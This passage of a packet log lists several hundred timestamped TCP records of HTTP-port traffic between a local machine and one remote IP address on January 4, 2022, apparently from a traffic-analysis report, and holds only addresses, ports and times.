Jan 4, 2022 19:33:51.314248085 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.314265013 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.314317942 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.376559973 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.376615047 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.376657009 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.376697063 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.376734972 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.376775026 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.376806021 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.376825094 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.376898050 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.376910925 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.376915932 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.376975060 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.377016068 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.377018929 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.377053976 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.377093077 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.377113104 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.377131939 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.377181053 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.377182961 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.377223969 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.377253056 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.377262115 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.377305984 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.377324104 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.377345085 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.377382994 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.377408981 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.377492905 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.377537966 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.377552986 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.377576113 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.377614975 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.377631903 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.377657890 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.377695084 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.377713919 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.377733946 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.377773046 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.377791882 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.377813101 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.377852917 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.377882004 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.377914906 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.377959013 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.377985954 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.377998114 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.378036022 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.378061056 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.378079891 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.378118992 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.378160000 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.378160954 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.378201008 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.378237963 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.378252029 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.378277063 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.378298998 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.378315926 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.378355026 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.378375053 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.378392935 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.378431082 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.378451109 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.378470898 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.378511906 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.378530025 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.378550053 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.378590107 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.378613949 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.378629923 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.378771067 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.441009998 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.441066980 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.441097975 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.441138983 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.441170931 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.441178083 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.441200018 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.441220045 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.441257954 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.441274881 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.441297054 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.441334963 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.441354036 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.441373110 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.441411972 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.441428900 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.441452026 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.441490889 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.441507101 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.441533089 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.441570044 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.441582918 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.441608906 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.441648960 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.441660881 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.441685915 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.441725016 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.441766024 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.441766024 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.441804886 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.441818953 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.441844940 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.441883087 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.441901922 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.441922903 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.441962004 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.441976070 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.441998005 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.442037106 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.442049980 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.442075968 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.442116022 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.442130089 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.442156076 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.442192078 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.442207098 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.442231894 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.442271948 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.442285061 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.442308903 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.442347050 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.442359924 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.442384958 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.442424059 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.442437887 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.442462921 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.442500114 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.442517042 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.442538023 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.442575932 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.442595959 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.442611933 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.442650080 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.442662954 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.442687988 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.442725897 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.442739964 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.442765951 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.442802906 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.442815065 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.442842007 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.442889929 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.456003904 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.505249977 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.505410910 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.505472898 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.505507946 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.505609989 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.505671978 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.505682945 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.505731106 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.505808115 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.505817890 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.505870104 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.505930901 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.505939007 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.505985975 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.506041050 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.506093979 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.506140947 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.506149054 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.506160021 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.506220102 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.506251097 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.506310940 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.506340981 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.506357908 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.506370068 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.506436110 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.506491899 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.506499052 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.506546021 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.506608009 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.518412113 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.518477917 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.518531084 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.518569946 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.518584013 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.518630028 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.518660069 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.518682003 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.518716097 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.518753052 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.518752098 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.518790960 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.518810034 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.518830061 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.518867970 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.518891096 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.518906116 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.518944025 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.518970966 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.518981934 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.519022942 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.519046068 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.519058943 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.519100904 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.519125938 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.519143105 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.519181967 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.519207954 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.519216061 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.519253969 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.519294024 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.519303083 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.519344091 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.519366980 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.519382000 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.519424915 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.519437075 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.519481897 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.519532919 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.519553900 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.519579887 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.519639015 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.568995953 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.569072962 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.569130898 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.569161892 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.569183111 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.569226980 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.569238901 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.569264889 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.569303989 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.569315910 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.569341898 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.569380999 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.569392920 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.569421053 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.569458961 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.569468975 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.569499016 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.569538116 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.569549084 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.569574118 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.569612980 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.569624901 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.569652081 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.569690943 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.569705009 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.569741964 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.569794893 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.569798946 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.569842100 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.569880009 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.569902897 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.569921017 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.569960117 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.569971085 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.569997072 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.570034981 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.570045948 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.570089102 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.570126057 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.570149899 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.570166111 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.570218086 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.570225954 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.570266962 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.570307016 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.570317030 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.570344925 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.570383072 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.570394993 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.570421934 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.570461035 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.570472956 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.570499897 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.570539951 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.570550919 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.570576906 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.570616007 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.570626974 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.570653915 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.570689917 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.570707083 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.570728064 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.570766926 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.570777893 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.570805073 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.570844889 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.570857048 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.570883036 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.570924997 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.570938110 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.570965052 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.571001053 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.571012020 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.571041107 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.571077108 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.571089029 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.571116924 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.571156025 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.571166992 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.571192980 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.571230888 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.571242094 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.571269989 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.571306944 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.571316957 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.571345091 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.571382046 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.571393967 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.571422100 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.571461916 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.571470022 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.571500063 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.571538925 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.571549892 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.571578026 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.571615934 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.571626902 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.571655035 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.571695089 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.571702957 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.571736097 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.571775913 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.571788073 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.571813107 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.571851969 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.571858883 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.571897984 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.571942091 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.571958065 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.571983099 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.572022915 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.572036028 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.572063923 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.572103024 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.572114944 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.572139978 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.572179079 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.572190046 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.572217941 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.572254896 CET	80	49875	141.8.193.236	192.168.2.5
